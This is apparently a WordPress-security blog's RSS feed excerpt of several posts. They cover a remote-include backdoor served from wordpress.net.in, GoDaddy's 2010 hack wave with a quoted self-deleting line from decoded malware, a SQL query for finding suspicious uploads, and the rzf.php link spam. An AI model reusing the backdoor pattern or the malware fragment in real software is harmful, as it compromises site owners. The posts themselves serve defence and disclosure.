<p>The index.php found in a clean installation of WordPress does not have an IF statement in it, and the section that is actually delivering the hack is the statement telling the page to include() license.txt located on wordpress.net.in. If you try to view that page in a browser what you currently would see is version 3 of the <a href="http://www.gnu.org/licenses/gpl.html" target="_blank">GNU General Public License</a>. However, if the file is called as an include(), it instead delivers code that acts as a back door and allows, I believe, the injection of an erroneous administrator into the WordPress installation. From there pretty much anything can be done.</p>
<p>The wordpress.net.in domain itself, which is being used to deliver this hack, was originally registered back in April 2007, supposedly to some guy in Massachusetts:</p>
<p><img src="/images/wordpress.net.in-a.png" onmouseup="hl2l(event);" alt="Original registration information"></p>
<p>A little over 3 years later, after at least 31 changes in domain registration information, the domain is still supposedly registered to some guy in  Massachusetts, although not to the same person:</p>
<p><img src="/images/wordpress.net.in-d.png" onmouseup="hl2l(event);" alt="Current registration information"></p>
<p>The domain has been used for these hacking activities the entire time it has existed. There has never been a legitimate site residing on it.</p>
<p>By checking the IP address of where the site is now, it appears to be hosted by a firm operating under the name Extended Host Inc, which according to <a href="http://whois.domaintools.com/extendedhost.com" target="_blank">their whois information</a> is located in Canada. However, they don&#8217;t seem to actually have a website where someone could get hosting services, and their IP is <a href="http://www.db.ripe.net/whois?form_type=simple&#038;full_query_string=&#038;searchtext=194.110.161.180&#038;do_search=Search" target="_blank">located over in Amsterdam</a>. This is what <a href="http://www.spamhaus.org/sbl/sbl.lasso?query=SBL60306" target="_blank">Spamhaus had to say</a> about Extended Host:</p>
<p><img src="/images/spamhaus-extended-host.png" onmouseup="hl2l(event);" alt="Extended Host - spam, scam, cybercrime hosting"></p>
<p>While none of this actually tells us anything about who the real owner of the domain is, what it does tell us is that there is very little that can be done about it. The hosting company is a scam, so there is no one to contact to have them take the website down. Even if the current bandwidth provider did decide to take action against them they could simply move to a new provider. There are plenty of hacker and spammer friendly hosts out there to choose from. The sad truth is that there is little that honest concerned netizens such as you or I can do to take a website like this offline. It is a shame, too, because taking the website down would mean that the hack it is being used for, across however many thousands of WordPress installations out there that are infected, would no longer be effective. It would nullify the damage, even for those blog owners who do not know that they are hacked.</p>
<p>No, there really isn&#8217;t much that you or I could do about that site&#8230; but there is actually someone who could do something, if they so wanted. You see, the domain in question, wordpress.net.in, consists entirely of the WordPress trademark, a trademark owned by Automattic Inc, the company founded by one <a href="http://ma.tt/" target="_blank">Matt Mullenweg</a>, the original creator of WordPress. According to their website they are quite aware of the fact that <a href="http://wordpress.org/about/domains/" target="_blank">using WordPress in a domain is a trademark violation</a>, and trademark violations are pretty much the one thing that allows one person to legitimately take a domain from another person without their consent. According to the <a href="http://www.icann.org/en/udrp/udrp-policy-24oct99.htm" target="_blank">ICANN Domain Name Dispute Resolution Policy</a> there are 3 conditions that must be met for this to happen:</p>
<ul>
<li style="list-style: none;">(i) your domain name is identical or confusingly similar to a trademark or service mark in which the complainant has rights; and</li>
<li style="list-style: none;">(ii) you have no rights or legitimate interests in respect of the domain name; and</li>
<li style="list-style: none;">(iii) your domain name has been registered and is being used in bad faith.</li>
</ul>
<p>In this case 1 is a no-brainer&#8230; the domain name is an exact match for the trademark in question. I am pretty sure that unless the owner of the domain name turns out to be one of the other founders of Automattic number 2 will pass the test without question as well. As for requirement 3, I don&#8217;t think you could really get more &#8220;bad faith&#8221; than deliberately using the domain name to hack other websites. If Matt actually cared he would have no problem wrestling control of that domain name from whoever it is that actually owns it, and shutting it down altogether, and yet he has done nothing about it for over <em>three years</em> now. Apparently Matt is so obsessively concerned with his <a href="http://tomuse.com/matt-mullenweg-automattic-wordpress-themes-plugins-developer/" target="_blank">crusade against non-GPL WordPress plugin and theme developers</a> that he doesn&#8217;t have the time or energy to go after someone using his trademark to hack software he wrote.  In his campaign against the evils of non-GPL he has even gone so far as to start <a href="http://wordcamphowto.wordpress.com/2010/05/19/fyi-im-taking-over-as-central-liaison/" target="_blank">banning people from speaking at or sponsoring Wordcamp events</a> if they are &#8220;non-GPL-compliant&#8221; (a determination, btw, which is solely made by Matt and company, with apparently no procedure in place for appeals):</p>
<blockquote><p>They are welcome to attend, but WordCamps may not have non-GPL-compliant people as organizers, sponsors, or speakers. Events that want to move forward and include such individuals in these roles may need to use a name other than WordCamp if the appropriate adjustments can&#8217;t be made. &#8211; <em>Jane Wells, WordCamp &#8220;central liaison&#8221;</em></p></blockquote>
<p>That&#8217;s right&#8230; if you wish to put the effort into organizing an event that promotes WordPress in your community, and you take the time to raise the money yourself to do so, but you happen to be a person who directly sells premium themes, then you damn well better not use their trademarked name for the event. If you want to spread viruses, hack servers, and promote spam, however&#8230; hell, feel free to use their core trademark in your domain name. It&#8217;s not like they are going to actually do anything about it.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/06/01/wordpress-hacking-matt-mullenweg-and-some-screwed-up-priorities/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>GoDaddy&#8217;s Suggestion For The Cause Of Their Hacks And Their Community Blog &#8211; Can You Smell The Irony?</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/05/14/godaddys-suggestion-for-the-cause-of-their-hacks-and-their-community-blog-can-you-smell-the-irony/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/05/14/godaddys-suggestion-for-the-cause-of-their-hacks-and-their-community-blog-can-you-smell-the-irony/#comments</comments>
		<pubDate>Fri, 14 May 2010 20:52:41 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[customer service]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=680</guid>
		<description><![CDATA[Yesterday I blogged about the hacking situation with GoDaddy hosting and a customer service call I had with them concerning some evidence I had found. While it is true that as this has progressed GoDaddy has widened their scope in investigating what the underlying cause of these hacks are, initially they claimed that the issue [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I blogged about the <a href="http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/" target="_blank">hacking situation with GoDaddy hosting</a> and a customer service call I had with them concerning some evidence I had found. While it is true that as this has progressed GoDaddy has widened their scope in investigating what the underlying cause of these hacks are, initially they claimed that the issue was with their customers running outdated versions of WordPress. While being wrong about something like that is usually not <em>that</em> big of a deal, in this particular instance it proved to be beyond irksome, since a large portion of their customer base were told that it was their own fault that their sites got hacked (even in cases where the customer was up to date), and that GoDaddy <a href="http://wordpress.org/support/topic/391658#post-1498431" target="_blank">was in no way to blame</a>:</p>
<blockquote><p>WordPress is a-ok. Go Daddy is rock solid. Neither were &#8216;hacked,&#8217; as some have speculated.</p>
<p>After an extensive investigation, we can report there was a small group of customers negatively impacted. What happened? Those users had outdated versions of the popular blogging software, set up in a particular way. &#8211; <em>Alicia from GoDaddy</em></p></blockquote>
<p>From what I have read around the web customers were being told that it was not GoDaddy&#8217;s responsibility to fix the sites, that they only offered &#8220;limited support&#8221; in situations like this, leaving people with only the option of restoring from a backup (which would often not help even in outdated WordPress hack situations, since hacks can go undetected for months) or hiring outside help to clean things up.</p>
<p>You can see on the support page they have set up, <a href="http://community.godaddy.com/godaddy/whats-up-with-go-daddy-wordpress-php-exploits-and-malware/" target="_blank">What’s Up with Go Daddy, WordPress, PHP Exploits and Malware?</a> that they still claim that outdated scripts are part of the problem. Going to that page and viewing the source reveals something almost unbelievable:</p>
<p><a href="/images/godaddy-outdated-wordpress-lg.png" target="_blank"><img src="/images/godaddy-outdated-wordpress-sm.png" border="0" alt="GoDaddy outdated software...?" onmouseup="hl2l(event);"></a><br />
(<em>click to enlarge</em>)</p>
<p>That&#8217;s right, in a classic &#8220;do as I say, not as I do&#8221; twist it seems that GoDaddy is in fact running an older version of WordPress (WordPress MU, based on the version number, which has the same security holes as regular WordPress) for their community blog that they are using to tell people to upgrade their WordPress versions.</p>
<p>To be fair, simply having an older version of WordPress does not mean that it is automatically insecure&#8230; the security fixes in the more recent versions may be minor and the known vulnerabilities might have been manually patched. I can&#8217;t know without actually digging deeper and <em>looking</em> if in fact the installation was vulnerable.</p>
<p>Then again&#8230; neither can GoDaddy in the case of their customers.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/05/14/godaddys-suggestion-for-the-cause-of-their-hacks-and-their-community-blog-can-you-smell-the-irony/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Hosting With GoDaddy? Might Want To Rethink That Decision.</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/#comments</comments>
		<pubDate>Thu, 13 May 2010 15:04:59 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[customer service]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=671</guid>
		<description><![CDATA[One of the services I offer people is cleaning their WordPress installations of hacks and infections, mostly for those who might not have the time or technical expertise to follow my hacked WordPress cleaning guide. Therefore when something happens that increases the number of people getting hacked, such as when a new exploit is discovered, [...]]]></description>
			<content:encoded><![CDATA[<p>One of the services I offer people is cleaning their WordPress installations of hacks and infections, mostly for those who might not have the time or technical expertise to follow my <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/">hacked WordPress cleaning guide</a>. Therefore when something happens that increases the number of people getting hacked, such as when <a href="http://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/" target="_blank">a new exploit is discovered</a>, or a security hole in a large host starts getting exploited (like <a href="http://blog.networksolutions.com/2010/we-feel-your-pain-and-are-working-hard-to-fix-this/" target="_blank">what happened with Network Solutions last month</a>), I get an increase in the number of people requesting help cleaning things up. This month it started happening with a large number of <a href="http://www.godaddy.com/" target="_blank">GoDaddy</a> customers.</p>
<p>When it first started to happen I did some searching around, and noticed that there was some discussion going on about the heightened GoDaddy hacking activity, but at that time everything I read that stated the problem was with GoDaddy customers all had roots pointing back to a single post on a company blog that didn&#8217;t offer enough details for me to really see why it was happening there and not other places. Not that WordPress on other hosts weren&#8217;t still getting hacked, but there has definitely been a higher concentration of instances on GoDaddy. GoDaddy was definitely aware of the issue, and even replied in some threads on the <a href="http://wordpress.org/support/topic/391658" target="_blank">WordPress.org help forum</a>:</p>
<blockquote><p>GoDaddy.com did send out a notification to customers affected by this issue. Although I know you would prefer not to be linked, I want to avoid flooding the forum. For a step-by-step guide to update WordPress, please visit <a href="http://fwd4.me/NGN" target="_blank">http://fwd4.me/NGN</a> &#8211; <em>Alicia from GoDaddy.com</em></p></blockquote>
<p>The link to their &#8220;step-by-step guide&#8221; to updating WordPress turns out to be nothing more than than a link back to WordPress&#8217; own guide to upgrading, and links on how to back up your stuff on GoDaddy. Decidedly not step-by-step imo, and in this case not all that helpful. If the reason your site gets hacked is due to you running an older, insecure version of WordPress, once that happens simply upgrading will not fix the issue. This seems to me to be a bit of a lame response to a serious issue coming from a company that bills itself as the &#8220;World&#8217;s largest Hosting Provider&#8221;. </p>
<p>GoDaddy keeps <a href="http://community.godaddy.com/godaddy/wordpress-compromised-how-to-fix-it/" target="_blank">insisting that the problem is due to outdated WordPress installations</a>, and that staying up to date and site security is the responsibility of the customer, not of GoDaddy. In one sense I completely agree with them. If you run an older version of WordPress that has known security holes in it (ie. pretty much all versions aside from the most recent) then the odds are that you are going to get hacked. Most of the clients I cleaned from GoDaddy so far were up to date, running version 2.9.2, but this still didn&#8217;t mean that it was GoDaddy&#8217;s fault, since it is possible for a site to get hacked and no signs show up for months. This means that the sites I was cleaning could potentially have had the hack from an older version, and it only became apparent some time after they upgraded. </p>
<p>The problem is that after doing some <em>very</em> thorough clean up jobs (ie. wipe and reinstall), and making sure the clients were up to date, all passwords changed, all image files verified as actual images, clean WordPress, clean theme, clean plugins, and hand cleaning the database, I had clients <strong>still</strong> getting re-hacked.</p>
<p>One client I had was having issues with funky characters in his posts. He would make the post, everything would be fine, and then the next day they would be converted in a way that would make them display as unicode. This was well after I had done my cleaning, and no one should have made any changes to the database since then. My assumption was that GoDaddy themselves was making changes, possibly security upgrades related to the recent hacking waves, and I figured that calling them to see what they had done would be the best bet. In preparation for this I went ahead and logged into the client&#8217;s account, and ftp&#8217;d into the server just to make sure everything looked like it was in place still. As soon as I did I saw that about 30 minutes before a brand new, non-Wordpress, oddly named php file had been dropped into my client&#8217;s site.</p>
<p>I downloaded the file and looked at it. I suddenly realized that this was the source file for all of the hacks that were happening. It was named &#8220;plan_erich.php&#8221;, and had similar eval(base64_decode( instruction at the top of the file. I modified the code to be able to decrypt it safely, and looked through the output (which you can view <a href="/images/plan_erich_php.txt">here</a>). The script was designed to delete itself as soon as it ran:</p>
<p><code>$z=$_SERVER["SCRIPT_FILENAME"];
@unlink($z);</code></p>
<p>Finding this script before it was triggered and deleted itself was raw luck. Catching this file gave a great opportunity to actually track down how these hacks are occurring, and possibly would leave clues that GoDaddy could use to keep it from happening again. Looking at the owner/creator of the file, and matching that timestamp up with the various logs  (ftp, ssh, http, mysql, etc) could give GoDaddy the information needed to figure out how the file <em>really</em> got there, instead of just guessing that WordPress was the issue. I have never seen a file like this before, and searching Google for the name yielded no results, so there really was no other information out there available on this. Finding it there was a little like hitting the lottery in that respect, random and very, very good luck.</p>
<p><strong>The problem, however, is that GoDaddy didn&#8217;t seem to care.</strong> I called and explained to the woman I spoke with exactly what it was that I found and how it could be useful. I told her that matching up that file to the logs could yield some potentially valuable information. She did listen carefully, and I am pretty sure she understood what I was saying, because she asked if she could put me on hold to go talk with someone who might know more. She came back and informed me that <em>she didn&#8217;t have permission to look at those logs</em>.</p>
<p>I explained again, in a little more detail, why looking at the section of those logs was very important, and if she didn&#8217;t have permission could she please escalate the ticket to someone who did. Again, she put me on hold. This time she came back and told me that <em>they were uninterested in escalating it</em>. </p>
<p>At this point I was a teensy bit amazed at GoDaddy&#8217;s lack of concern with the issue. She very kindly informed me that the issue was that the client was running an older version of WordPress, and that we needed to upgrade. Wtf? I went and looked, and made sure that he was indeed still running the 2.9.2 version that I had installed over a week ago (and remember, he was running that version before I ever did anything), and he was. I told her that. She told me that no, she was looking at what the hosting control panel said, and that he was running version 2.6.</p>
<p>That was when it struck me&#8230; GoDaddy was claiming that this wave of WordPress hacks was due to clients not upgrading <em>without even bothering to really look at the clients sites</em>. The hosting control panel can only report what was installed via the hosting control panel itself. If a client pushes the button to upgrade WordPress from within the WordPress admin section then the hosting control panel will never know. </p>
<p>As amazing as it seems, apparently <strong><em>the entire GoDaddy technical support team is ignorant of this fact</em></strong>. That&#8217;s right&#8230; the  &#8220;World’s largest Hosting Provider&#8221; doesn&#8217;t understand the very basics of how the world&#8217;s largest blogging platform works.</p>
<p>Something, probably a hosting configuration, is allowing GoDaddy customers to have their sites hacked, and it isn&#8217;t file permissions, insecure passwords, or out of date software. Not being willing to even <em>look</em> when a developer calls to tell you that they found something is completely unacceptable. My suggestion to all GoDaddy hosting customers: bail now, before something happens to your site. This is not a WordPress issue only&#8230; although it seems to have targeted WordPress customers first, all sites that use php are at risk. Personally for shared hosting I recommend <a href="http://www.jdoqocy.com/nd115shqnhp48779B7A465965D68" target="_blank">Hostgator</a><img src="http://www.ftjcfx.com/6l98y7B-53PTSSUWSVPRQURQYRT" width="1" height="1" border="0"/>, because I love their tech support (and their servers are very robust), but there are plenty of hosts out there to choose from (Disclosure: I changed the previous link to an affiliate link, although if you&#8217;d rather purchase hosting from them without giving me credit that&#8217;s fine too, here is a clean link for you: <a href="http://www.hostgator.com/" target="_blank">HostGator</a>).</p>
<p><a href="http://www.bobparsons.me/" target="_blank">Bob Parsons</a>, I am sorry. Hot chicks and a strong tits and ass marketing campaign do <em>not</em> make up for apathy in matters of client security and well being.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/feed/</wfw:commentRss>
		<slash:comments>159</slash:comments>
		</item>
		<item>
		<title>Test of WordPress&#8217;s Default Slug Redirect: 301 or 302?</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 15:06:34 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=651</guid>
		<description><![CDATA[Just a quick test to see if WordPress by defaults redirects slug changes using a 301 or 302 redirect. The original url for this post is: http://smackdown.blogsblogsblogs.com/2010/03/18/test-of-wordpress-default-slug-redirect-301-or-302/ and I am going to change it to: http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/ Results: Using the Bad Neighborhood Header Detector we can see that WordPress does in fact use a 301 redirect [...]]]></description>
			<content:encoded><![CDATA[<p>Just a quick test to see if WordPress by defaults redirects slug changes using a 301 or 302 redirect. The original url for this post is:</p>
<p><a href="http://smackdown.blogsblogsblogs.com/2010/03/18/test-of-wordpress-default-slug-redirect-301-or-302/">http://smackdown.blogsblogsblogs.com/2010/03/18/test-of-wordpress-default-slug-redirect-301-or-302/</a></p>
<p>and I am going to change it to:</p>
<p><a href="http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/">http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/</a></p>
<p><span id="more-651"></span><strong>Results:</strong> Using the <a href="http://www.bad-neighborhood.com/header_detector.php" target="_blank">Bad Neighborhood Header Detector</a> we can see that WordPress does in fact use a 301 redirect redirect by default when changing a url slug (at least, WordPress 2.9.2 does, since I upgraded just before this test):</p>
<p>&nbsp;</p>
<p><img src="/images/wordpress-301-redirect.png" onmouseup="hl2l(event);" alt="Wordpress 301 slug redirect" border="0"></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Stray Leftover Hacked WordPress Database Entry: rzf.php</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/03/13/stray-leftover-hacked-wordpress-database-entry-rzf-php/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/03/13/stray-leftover-hacked-wordpress-database-entry-rzf-php/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 16:27:39 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[coding]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=626</guid>
		<description><![CDATA[I never use my uploads directory or WordPress&#8217;s built in media management here on Smackdown, instead preferring to upload and manually insert the html for images myself in my posts (I know, I am weird that way), but my friend Donna has when she has guest blogged here in the past. I therefore knew that [...]]]></description>
			<content:encoded><![CDATA[<p>I never use my uploads directory or WordPress&#8217;s built in media management here on Smackdown, instead preferring to upload and manually insert the html for images myself in my posts (I know, I am weird that way), but <a href="http://www.dazzlindonna.com/blog/" target="_blank">my friend Donna</a> has when she has guest blogged here in the past. I therefore knew that the uploads directory existed and had a few images in there, but never really had any reason to look at them. It was totally by accident that I clicked on the Media link in the admin section this morning. I am glad that I did, however, since otherwise I never would have known that I had missed a bit of leftover data from one of the times that I had been hacked last year, a reference to a file named <strong>rzf.php</strong>.</p>
<p>I use an early warning hacking detection system that Donna came up with last year with and I helped refine, <a href="http://www.webchicklet.com/tools/monitorhackdfiles-tool-helps-fight-site-hackers/" target="_blank">MonitorHackdFiles</a>, that alerts me whenever there are any files modified or added on my blog. This script has been indispensable in helping me to clean up damage from hacks before either my rankings were harmed or an infection spread to my readers. However, based on the folder structure<span id="more-626"></span> on the database entry that I found, this was from a hack that happened prior to me installing that script. I checked, and the file definitely does not exist, either physically or virtually (I get a 404 trying to access it on the web), which makes sense since I did <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/" target="_blank">completely wipe and reinstall WordPress</a> several times last year. I also always check the wp_posts, wp_users, and wp_options (especially the active_plugins entry) after a hack for any irregularities, but never thought to check wp_postmeta, which is where information about uploads is stored. I have been hacked a few times, and this is apparently the only one that actually <em>used</em> the uploads folder. All of the other hacks hid files amongst the WordPress system files or injected data into the database. Just to be safe though, from now on I am adding to the checks that I perform to the database to include scanning that table for any non image files, like so:</p>
<pre>SELECT * FROM wp_postmeta
WHERE meta_key='_wp_attached_file'
AND (
	RIGHT(meta_value,4) NOT IN ('.jpg','.gif','.png','.avi','.mp3','.mpg','.flv')
	OR meta_value LIKE '%.php%' OR meta_value LIKE '%.pl%'
	OR meta_value LIKE '%.exe%' OR meta_value LIKE '%.js%'
)</pre>
<p>This should display the entries in your database that match the contents of your uploads directory, filtering out the most common safe files while definitely including the most suspicious ones. </p>
<p>I couldn&#8217;t find anyone discussing the rzf.php file when I looked, but I did find a couple of sites that were hacked from it. It apparently generates a list of links that all point back to itself with various d=xxx parameters:</p>
<p>&nbsp;</p>
<p><img src="/images/rzf.php-links.png" onmouseup="hl2l(event);" alt="rzf.php" border="0"></p>
<p>&nbsp;</p>
<p>Each of these pages then generates a list of other self-referential links, plus some added text, and a small percentage of external links. All of the links that I looked at lead back to what appeared to be valid sites, presumably to better hide the actual target. Even though this may be the only function of the file, if the file itself is found in your directory structure, and not just a leftover database remnant like mine was, it is probably best to do a complete cleaning, just to be safe.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/03/13/stray-leftover-hacked-wordpress-database-entry-rzf-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Don&#8217;t Think &#8220;If&#8221; You Will Get Hacked, Or Even &#8220;When&#8221; &#8211; Think In Terms Of &#8220;How Often&#8221;</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/03/03/dont-think-if-you-will-get-hacked-or-even-when-think-in-terms-of-how-often/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/03/03/dont-think-if-you-will-get-hacked-or-even-when-think-in-terms-of-how-often/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 16:21:33 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=518</guid>
		<description><![CDATA[The following &#8220;guest post&#8221; was a comment left on &#8220;How To Completely Clean Your WordPress Installation&#8221; by a gentleman named Daniel J. Dick. He makes some excellent points, and due to it&#8217;s length I decided to feature the comment in it&#8217;s own post, rather than approve it in place. Enjoy. I think Nick sums up [...]]]></description>
			<content:encoded><![CDATA[<p><em>The following &#8220;guest post&#8221; was a comment left on &#8220;<a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/" target="_blank">How To Completely Clean Your WordPress Installation</a>&#8221; by a gentleman named <a href="http://www.danieljdick.com/" target="_blank">Daniel J. Dick</a>. He makes some excellent points, and due to it&#8217;s length I decided to feature the comment in it&#8217;s own post, rather than approve it in place. Enjoy.</em></p>
<p>I think <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/comment-page-2/#comment-32002" target="_blank">Nick</a> sums up how most of us feel about malicious hackers, script kiddies, and spambots that wreck other people&#8217;s stuff.</p>
<blockquote><p>My apologies to everyone that reads this that are searching out how to fix your blog. It is obviously meant for the little, no good, no life having, soulless human maggot out there that creates viruses, malicious scripts and hacks other peoples stuff. YOU SUCK BIG MOOSE C#&#038;@!!</p>
<p><em>- Nick</em></p></blockquote>
<p>Most of my sites<span id="more-518"></span> have been on C-panel setups just because of cheapness and laziness on my part.  But, I&#8217;ve been a Unix / Linux hack for about 30 years, so I grabbed up a VPS, set up Centos 5, Apache, PHP, MySql, Exim, and all the way I like it with a little Perl script to throw anyone who tramples on various triggers into the firewall straight away, and before I even had the thing known to any DNS servers anywhere, it already had trapped about 60 or 70 IP addresses, and they were not false alarms.  Now if that many are blocked trying to break into SSH alone, imagine how many would be flooding into the applications that have ports open on any given system, especially AFTER it was known to the world by name!</p>
<p>If you have a website, don&#8217;t think in terms of &#8220;if&#8221; it will be attacked by hackers and spambots, and don&#8217;t think in terms of &#8220;when&#8221; either.  Think in terms of enlarging the gaps between times hacking attempts are successful and recoveries are necessary.  Think in terms of how many hackers you can trap and report and how many hacking attempts you can block, and how well you can isolate them from the false alarms.  If you block them by IP, you&#8217;ll find most of your users are on IP addresses shared throughout the comcast and AT&amp;T community, and you cannot block those ranges without blocking out most of your users.  So, you may want to block them temporarily, say 2-4 days and release them just to make sure they don&#8217;t hit you with a denial of service attack or a brute force attack.  This will at least keep your system from being hammered and help reserve your bandwidth and computing resources for constructive work.</p>
<p>Cut back the number of ports you have open.  If you put a million door lock onto the front door of your house but the door is made of balsa wood, a 3 year old might kick it in by accident.  If you secure your front door and leave your back door open, you&#8217;re still out of luck.  What are the points of entry?  What protections are there on those?  If they get in, what can they compromise?  Can they use one service to plant a mine for another service?</p>
<p>At one time, everyone laughed at the thought that opening an email could cause a problem.  &#8220;Email is just a text file.&#8221;  &#8220;You&#8217;re just reading it, silly!&#8221;  True, but what does the email reader do with what it reads?  Does it process mime types or any kinds of files?  A kidnapper may be unable to unlock the front door of your house, but if he can tell your 3 year old child you won a million dollars and need to open the door to get it, you may end up getting a call with a demand to pay a million dollars in ransom.</p>
<p>So often we think if someone is really competent in security, it will be impossible for any hacker to break in without getting caught.  One would like to think that security is a terminal project&#8211;one with a beginning and an end, that you can sign off on completion and your work is done forever.  It isn&#8217;t.  No more than ending all war and establishing permanent world peace is a terminal project unless you&#8217;re God.</p>
<p>You can set policies, brainstorm, gather ideas, organize them, let them spawn ideas, and let the creative juices flow, and then organize them again until you have a full set of projects, policies and procedures and methodologies for implementing them.  You can weigh risks calculating potential losses against costs of prevention and come to an idea of what is most important.  You can set up disaster recovery strategies, and in them beware of the fact that when you take backups, there will be times you will be backing up viruses and corruption as well, and many times corruption and viruses may be intertwined into the ongoing collection of data and you&#8217;ll need methods for weeding things out whether you like it or not.  But, it has to be part of the plan.</p>
<p>But, in the end, it may almost seem like security is about good backups and disaster recovery first and then the rest of the prevention is about performance, reliability, reduction of downtime, protection of reputation, and overall efficiency.</p>
<p>There will be times when there are conflicts between progress and safety.  There may be times people feel they cannot get any work done because security is too tight, too insulting, too bothersome, too pedantic, too whatever.  And sometimes there will be folks whose die-hard commitment to security is in ignorance hindering progress while providing no real security at all.</p>
<p>It&#8217;s a pain, really.  And yet every pain has its joy and satisfaction and opportunity to do excellently where others have failed.  Without a battle there can be no victory.  Without something to overcome, nobody can become an overcomer.  It&#8217;s a curse and a blessing.</p>
<p>Whew&#8230;that was longwinded!<br />
Dan</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/03/03/dont-think-if-you-will-get-hacked-or-even-when-think-in-terms-of-how-often/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Is Plagiarism Ok&#8230; If It Was An Accident?</title>
		<link>http://smackdown.blogsblogsblogs.com/2009/05/15/is-plagiarism-ok-if-it-was-an-accident/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2009/05/15/is-plagiarism-ok-if-it-was-an-accident/#comments</comments>
		<pubDate>Fri, 15 May 2009 20:19:28 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=322</guid>
		<description><![CDATA[Last year I wrote this handy little script named EasyWP. It makes installing WordPress much easier for those without Fantastico or shell access, and is many times faster than having to upload all of the files individually. It&#8217;s very useful, especially if you install WordPress on a regular basis, or if you need to do [...]]]></description>
			<content:encoded><![CDATA[<p>Last year I wrote this handy little script named <a href="http://smackdown.blogsblogsblogs.com/2008/06/18/easywp-wordpress-installer-cause-there-aint-no-such-thing-as-too-easy/" target="_blank">EasyWP</a>. It makes installing WordPress much easier for those without Fantastico or shell access, and is many times faster than having to upload all of the files individually. It&#8217;s very useful, especially if you install WordPress on a regular basis, or if you need to do a <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/" target="_blank">complete WordPress reinstall</a> for whatever reason. Lots of people use and enjoy the script.</p>
<p>Today I receive this email from someone by the name of Joel Drapper:<span id="more-322"></span></p>
<blockquote class="eml"><p>Hey,</p>
<p>I&#8217;ve got a little problem.</p>
